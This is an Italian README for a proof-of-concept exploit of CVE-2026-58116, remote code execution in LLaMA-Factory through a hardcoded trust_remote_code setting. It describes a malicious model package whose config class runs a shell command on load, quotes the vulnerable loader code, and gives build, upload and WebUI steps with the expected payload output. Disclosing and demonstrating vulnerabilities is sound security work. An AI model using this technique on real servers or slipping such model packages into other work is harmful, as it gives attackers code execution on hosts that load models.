
trust_remote_codeProva di concetto per CVE-2026-58116 (CVSS 9.8 Critico): esecuzione remota di codice in LLaMA-Factory <= v0.9.5.
La WebUI di LLaMA-Factory imposta in modo hardcoded trust_remote_code=True quando carica un modello (src/llamafactory/webui/chatter.py:139 e runner.py:175,320). Il campo "Model path" controllato dall'attaccante viene passato senza validazione a AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), quindi la libreria transformers di Hugging Face scarica ed esegue codice Python arbitrario da un repository di modelli dannoso.
Questa PoC è destinata esclusivamente a test di sicurezza autorizzati e scopi educativi. Il payload incluso è volutamente innocuo (stampa la ricognizione dell'host tramite id). Esegui la PoC solo su sistemi che possiedi o sui quali sei autorizzato a effettuare test. Non distribuire mai un payload malintenzionato contro infrastrutture senza autorizzazione esplicita.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers istanzia la classe di configurazione prima di caricare qualsiasi peso, quindi il payload in PoCConfig.__init__ scatta non appena la configurazione viene letta — non è necessario che esista alcun peso. È esattamente il percorso che LLaMA-Factory segue tramite src/llamafactory/model/loader.py:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Verifica il sink localmente (nessuna WebUI necessaria — dimostra il contratto che la WebUI viola):
pip install transformers torch
python3 build_and_verify.py
Output atteso — nota che il banner del payload compare durante il caricamento della configurazione:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
End-to-end tramite una WebUI LLaMA-Factory in esecuzione:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc, fai clic su Load Model.